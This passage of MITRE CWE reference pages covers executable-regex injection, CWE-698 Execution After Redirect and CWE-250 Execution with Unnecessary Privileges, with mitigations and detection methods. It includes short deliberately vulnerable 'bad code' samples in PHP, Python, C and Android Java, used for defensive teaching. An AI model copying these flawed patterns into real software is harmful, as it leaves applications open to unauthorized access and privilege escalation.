+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

Perl (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier
Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier.
+ Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Observed_Example
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-698: Execution After Redirect (EAR)

Weakness ID: 698
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application sends a redirect to another location, but instead of exiting, it executes additional code.
+ Alternate Terms
Redirect Without Exit
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Confidentiality
Integrity
Availability

Technical Impact: Alter Execution Logic; Execute Unauthorized Code or Commands

This weakness could affect the control flow of the application and allow execution of untrusted code.
+ Demonstrative Examples

Example 1

This code queries a server and displays its status when a request comes from an authorized IP address.

(bad code)
Example Language: PHP 
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
echo "You are not authorized to view this page";
http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

+ Observed Examples
ReferenceDescription
Execution-after-redirect allows access to application configuration details.
chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
Remote attackers can obtain access to administrator functionality through EAR.
Remote attackers can obtain access to administrator functionality through EAR.
Bypass of authentication step through EAR.
Chain: Execution after redirect triggers eval injection.
chain: execution after redirect allows non-administrator to perform static code injection.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-565] Adam Doupé, Bryce Boe, Christopher Kruegel and Giovanni Vigna. "Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities". <http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Name, Observed_Examples, References
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2013-02-21Redirect Without Exit

CWE-250: Execution with Unnecessary Privileges

Weakness ID: 250
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
+ Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Installation
Architecture and Design

If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Read Application Data; DoS: Crash, Exit, or Restart

An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)
Example Language: Python 
def makeNewUserDir(username):
if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:
print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

(bad code)
Example Language:
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3

This application intends to use a user's location to determine the timezone the user is in:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

+ Observed Examples
ReferenceDescription
FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.
OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Program does not drop privileges before calling another program, allowing code execution.
setuid root program allows creation of arbitrary files through command line argument.
Installation script installs some programs as setuid when they shouldn't be.
mail program runs as root but does not drop its privileges before attempting to access a file. Attacker can use a symlink from their home directory to a directory only readable by root, then determine whether the file exists based on the response.
Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Separation of Privilege

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Phases: Operation; System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note: Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Compare binary / bytecode to application permission manifest
Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker
  • Permission Manifest Analysis

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOften Misused: Privilege Management
The CERT Oracle Secure Coding Standard for Java (2011)SER09-JMinimize privileges before deserializing from a privilege context
ISA/IEC 62443Part 2-4Req SP.03.05 BR
ISA/IEC 62443Part 2-4Req SP.03.08 BR
ISA/IEC 62443Part 2-4Req SP.03.08 RE(1)
ISA/IEC 62443Part 2-4Req SP.05.07 BR
ISA/IEC 62443Part 2-4Req SP.09.02 RE(4)
ISA/IEC 62443Part 2-4Req SP.09.03 BR
ISA/IEC 62443Part 2-4Req SP.09.04 BR
ISA/IEC 62443Part 3-3Req SR 1.1
ISA/IEC 62443Part 3-3Req SR 1.2
ISA/IEC 62443Part 3-3Req SR 2.1
ISA/IEC 62443Part 3-3Req SR 2.1 RE 1
ISA/IEC 62443Part 4-1Req SD-4
ISA/IEC 62443Part 4-2Req CCSC 3
ISA/IEC 62443Part 4-2Req CR 1.1
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 7, "Running with Least Privilege" Page 207. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-199] NIST. "United States Government Configuration Baseline (USGCB)". <https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline>. URL validated: 2023-03-28.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Privilege Vulnerabilities", Page 477. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution DateContributorOrganization
2023-01-24
(CWE 4.10, 2023-01-31)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
